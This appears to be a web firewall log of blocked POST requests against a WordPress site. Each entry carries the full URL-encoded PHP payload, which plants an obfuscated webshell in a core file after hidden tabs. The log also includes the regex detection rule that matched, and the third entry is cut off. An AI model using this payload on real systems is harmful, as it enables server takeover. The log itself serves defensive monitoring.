["2026-05-12 10:49:47","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6732\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nkE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:50","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:6732\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGyNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nNP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm9%2520.%2520%2524itm1%2520.%2520%2527468%2527%2520.%2520%2527727%2527%2529%253B%2524publish_content5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524itm10%2520.%2520%2527656%2527%2529%253B%2524publish_content6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2524itm11%2520.%2520%2524itm12%2520.%2520%2524itm13%2520.%2520%2524itm14%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524itm15%2520.%2520%2524itm16%2520.%2520%2527656%2527%2520.%2520%2524itm16%2529%253B%2524publish_content7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm8%2520.%2520%2524itm17%2520.%2520%2524itm18%2520.%2520%2524itm19%2529%253B%2524event_dispatcher%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm7%2520.%2520%2527665%2527%2520.%2520%2524itm20%2520.%2520%252745f%2527%2520.%2520%2527646%2527%2520.%2520%2527973%2527%2520.%2520%2527706%2527%2520.%2520%2524itm21%2520.%2520%2527636%2527%2520.%2520%2524itm4%2529%253Bif%2528isset%2528%2524_POST%255B%2524event_dispatcher%255D%2529%2529%257B%2524event_dispatcher%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524event_dispatcher%255D%2529%253Bif%2528function_exists%2528%2524publish_content1%2529%2529%257B%2524publish_content1%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content2%2529%2529%257Bprint%2520%2524publish_content2%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content3%2529%2529%257B%2524publish_content3%2528%2524event_dispatcher%252C%2524binding_obj%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524binding_obj%2529%253B%257Delseif%2528function_exists%2528%2524publish_content4%2529%2529%257B%2524publish_content4%2528%2524event_dispatcher%2529%253B%257Delseif%2528function_exists%2528%2524publish_content5%2529%2526%2526function_exists%2528%2524publish_content6%2529%2526%2526function_exists%2528%2524publish_content7%2529%2529%257B%2524pset_holder%253D%2524publish_content5%2528%2524event_dispatcher%252C%2522r%2522%2529%253Bif%2528%2524pset_holder%2529%257B%2524hld_object%253D%2524publish_content6%2528%2524pset_holder%2529%253B%2524publish_content7%2528%2524pset_holder%2529%253Bprint%2520%2524hld_object%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:49:52","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Exception.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524itm1%2520%253D%2520%2527737%2527%253B%2524itm2%2520%253D%2520%2527973%2527%253B%2524itm3%2520%253D%2520%2527746%2527%253B%2524itm4%2520%253D%2520%2527865%2527%253B%2524itm5%2520%253D%2520%25276c6%2527%253B%2524itm6%2520%253D%2520%2527c5f%2527%253B%2524itm7%2520%253D%2520%2527657%2527%253B%2524itm8%2520%253D%2520%2527706%2527%253B%2524itm9%2520%253D%2520%2527173%2527%253B%2524itm10%2520%253D%2520%2527f70%2527%253B%2524itm11%2520%253D%2520%2527472%2527%253B%2524itm12%2520%253D%2520%2527656%2527%253B%2524itm13%2520%253D%2520%252716d%2527%253B%2524itm14%2520%253D%2520%25275f6%2527%253B%2524itm15%2520%253D%2520%25276f6%2527%253B%2524itm16%2520%253D%2520%2527e74%2527%253B%2524itm17%2520%253D%2520%252736c%2527%253B%2524itm18%2520%253D%2520%25276f7%2527%253B%2524itm19%2520%253D%2520%2527365%2527%253B%2524itm20%2520%253D%2520%25276e7%2527%253B%2524itm21%2520%253D%2520%2527174%2527%253B%2524publish_content1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524itm1%2520.%2520%2524itm2%2520.%2520%2524itm3%2520.%2520%252756d%2527%2529%253B%2524publish_content2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527%2520.%2520%2524itm4%2520.%2520%2524itm5%2520.%2520%2524itm6%2520.%2520%2524itm7%2520.%2520%2524itm4%2529%253B%2524publish_content3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527%2520.%2520%2524itm4%2529%253B%2524publish_content4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524